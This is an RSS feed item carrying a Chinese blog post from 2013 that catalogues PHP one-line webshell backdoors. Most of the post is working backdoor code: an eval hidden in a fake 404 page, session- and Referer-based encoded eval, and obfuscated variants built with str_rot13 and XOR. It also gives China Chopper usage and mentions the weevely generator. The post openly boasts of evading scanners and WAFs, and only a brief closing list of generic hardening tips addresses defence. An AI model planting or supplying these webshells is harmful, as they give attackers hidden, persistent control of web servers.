<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[沧海一粟]]></title> 
<link>http://www.dzhope.com/index.php</link> 
<description><![CDATA[Web系统架构与服务器运维,php开发]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[沧海一粟]]></copyright>
<item>
<link>http://www.dzhope.com/post//</link>
<title><![CDATA[说说那些强悍的PHP一句话后门木马]]></title> 
<author>jed &lt;jed521@163.com&gt;</author>
<category><![CDATA[服务器技术]]></category>
<pubDate>Tue, 04 Jun 2013 15:58:51 +0000</pubDate> 
<guid>http://www.dzhope.com/post//</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp;我们以一个学习的心态来对待这些PHP后门程序，很多PHP后门代码让我们看到程序员们是多么的用心良苦。这类后门让网站、服务器管理员很是头疼，经常要换着方法进行各种检测，而很多新出现的编写技术，用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。<br/><br/><strong>利用404页面隐藏PHP小马</strong><br/><br/><div class="code"><br/>&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;<br/>&lt;html&gt;<br/>&lt;head&gt;<br/>&lt;title&gt;404 Not Found&lt;/title&gt;<br/>&lt;/head&gt;<br/>&lt;body&gt;<br/>&lt;h1&gt;Not Found&lt;/h1&gt;<br/>&lt;p&gt;The requested URL was not found on this server.&lt;/p&gt; &lt;/body&gt;<br/>&lt;/html&gt;<br/> &lt;?php<br/>@preg_replace(&quot;/&#91;pageerror&#93;/e&quot;,$_POST&#91;&#039;error&#039;&#93;,&quot;saft&quot;);<br/>header(&#039;HTTP/1.1 404 Not Found&#039;); <br/>?&gt; <br/></div><br/><br/> 404页面是网站常用的文件，一般建议好后很少有人会去对它进行检查修改，这时我们可以利用这一点进行隐藏后门。<br/><br/><strong>无特征隐藏PHP一句话</strong><br/><div class="code"><br/>&lt;?php<br/>session_start();<br/>$_POST&#91;&#039;code&#039;&#93; &amp;&amp; $_SESSION&#91;&#039;theCode&#039;&#93; = trim($_POST&#91;&#039;code&#039;&#93;); <br/>$_SESSION&#91;&#039;theCode&#039;&#93;&amp;&amp;preg_replace(&#039;&#92;&#039;a&#92;&#039;eis&#039;,&#039;e&#039;.&#039;v&#039;.&#039;a&#039;.&#039;l&#039;.&#039;(base64_decode($_SESSION&#91;&#92;&#039;theCode&#92;&#039;&#93;))&#039;,&#039;a&#039;); <br/></div><br/><br/>将$_POST['code']的内容赋值给$_SESSION['theCode']，然后执行$_SESSION['theCode']，亮点是没有特征码。用扫描工具来检查代码的话，是不会报警的，达到目的了。<br/><br/><strong>超级隐蔽的PHP后门</strong><br/><br/><div class="code"><br/>&lt;?php $_GET&#91;a&#93;($_GET&#91;b&#93;);?&gt;<br/></div><br/><div class="code"><br/>?a=assert&amp;b=$&#123;fputs%28fopen%28base64_decode%28Yy5waH<br/></div><br/><br/>执行后当前目录生成c.php一句话木马，当传参a为eval时会报错木马生成失败，为assert时同样报错，但会生成木马，真可谓不可小视，简简单单的一句话，被延伸到这般应用。<br/><br/><strong>层级请求，编码运行PHP后门</strong><br/><br/>此方法用两个文件实现，文件1<br/><div class="code"><br/>&lt;?php<br/>//1.php&nbsp;&nbsp;header(&#039;Content-type:text/html;charset=utf-8&#039;);<br/>parse_str($_SERVER&#91;&#039;HTTP_REFERER&#039;&#93;, $a); <br/>if(reset($a) == &#039;10&#039; &amp;&amp; count($a) == 9) &#123;<br/>eval(base64_decode(str_replace(&quot; &quot;, &quot;+&quot;, implode(array_slice($a, 6)))));<br/>&#125;<br/></div><br/><br/>文件2<br/><div class="code"><br/>&lt;?php<br/>//2.php<br/>header(&#039;Content-type:text/html;charset=utf-8&#039;);<br/>//要执行的代码<br/>$code = &lt;&lt;&lt;CODE phpinfo();<br/>CODE;<br/>//进行base64编码<br/>$code = base64_encode($code);<br/>//构造referer字符串&nbsp;&nbsp;<br/>$referer = &quot;a=10&amp;b=ab&amp;c=34&amp;d=re&amp;e=32&amp;f=km&amp;g=&#123;$code&#125;&amp;h=&amp;i=&quot;;<br/>//后门url <br/>$url = &#039;http://localhost/test1/1.php&#039;;<br/>$ch = curl_init();<br/>$options = array(<br/>CURLOPT_URL =&gt; $url,<br/>CURLOPT_HEADER =&gt; FALSE,<br/>CURLOPT_RETURNTRANSFER =&gt; TRUE,<br/>CURLOPT_REFERER =&gt; $referer&nbsp;&nbsp;);<br/>curl_setopt_array($ch, $options); <br/>echo curl_exec($ch); <br/></div><br/><br/>通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码，来达到后门的效果，一般waf对referer这些检测要松一点，或者没有检测。用这个思路bypass <br/>waf不错。<br/><br/><strong>PHP后门生成工具weevely</strong><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;weevely是一款针对PHP的webshell的自由软件，可用于模拟一个类似于telnet的连接shell，weevely通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web <br/>页面式的管理，weevely生成的服务器端php代码是经过了base64编码的，所以可以骗过主流的杀毒软件和IDS，上传服务器端代码后通常可以通过weevely直接运行。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术，后门中所使用的函数均是常用的字符串处理函数，被作为检查规则的eval，system等函数都不会直接出现在代码中，从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描，结果显示该文件无任何威胁。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;以上是大概介绍下边是截图，相关使用方法亦家就不在这介绍了，简单的科普一下。<br/><a href="http://www.dzhope.com/attachment.php?fid=68" target="_blank"><img src="http://www.dzhope.com/attachment.php?fid=68" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><strong>三个变形的一句话PHP木马</strong><br/><br/>第一个：<br/><div class="code"><br/>&lt;?php ($_=@$_GET&#91;2&#93;).@$_($_POST&#91;1&#93;)?&gt; <br/></div><br/><br/>在菜单里写 1.php?2=assert 密码是1。<br/><br/>第二个：<br/><div class="code"><br/>&lt;?php<br/>$_=&quot;&quot;;<br/>$_&#91;+&quot;&quot;&#93;=&#039;&#039;;<br/>$_=&quot;$_&quot;.&quot;&quot;;<br/>$_=($_&#91;+&quot;&quot;&#93;&#124;&quot;&quot;).($_&#91;+&quot;&quot;&#93;&#124;&quot;&quot;).($_&#91;+&quot;&quot;&#93;^&quot;&quot;);<br/>?&gt;<br/><br/>&lt;?php <br/>$&#123;&#039;_&#039;.$_&#125;&#91;&#039;_&#039;&#93;($&#123;&#039;_&#039;.$_&#125;&#91;&#039;__&#039;&#93;);<br/>?&gt; <br/></div><br/><br/>在菜刀里写2.php?_=assert&__=eval($_POST['pass']) <br/>密码是pass。如果你用菜刀的附加数据的话更隐蔽，或者用其它注射工具也可以，因为是post提交的。<br/><br/>第三个：<br/><br/><div class="code"><br/>($b4dboy = $_POST&#91;&#039;b4dboy&#039;&#93;) &amp;&amp; @preg_replace(&#039;/ad/e&#039;,&#039;@&#039;.str_rot13(&#039;riny&#039;).&#039;($b4dboy)&#039;, &#039;add&#039;); <br/></div><br/><br/>str_rot13(‘riny’)即编码后的eval，完全避开了关键字，又不失效果，让人吐血！<br/><br/><strong>如何应对PHP一句话后门</strong><br/><br/>我们强调几个关键点，看这文章的你相信不是门外汉，我也就不啰嗦了：<br/><br/>1，对PHP程序编写要有安全意识。<br/>2，服务器日志文件要经常看，经常备份。<br/>3，对每个站点进行严格的权限分配。<br/>4，对动态文件及目录经常批量安全审查。<br/>5，学会如何进行手工杀毒《即行为判断查杀》。<br/>6，时刻关注，或渗入活跃的网络安全营地。<br/>7，对服务器环境层级化处理，哪怕一个函数也可做规则。<br/>Tags - <a href="http://www.dzhope.com/tags/php/" rel="tag">php</a> , <a href="http://www.dzhope.com/tags/php%25E5%2590%258E%25E9%2597%25A8/" rel="tag">php后门</a> , <a href="http://www.dzhope.com/tags/php%25E6%259C%25A8%25E9%25A9%25AC/" rel="tag">php木马</a>
]]>
</description>
</item><item>
<link>http://www.dzhope.com/post//#blogcomment</link>
<title><![CDATA[[评论] 说说那些强悍的PHP一句话后门木马]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.dzhope.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>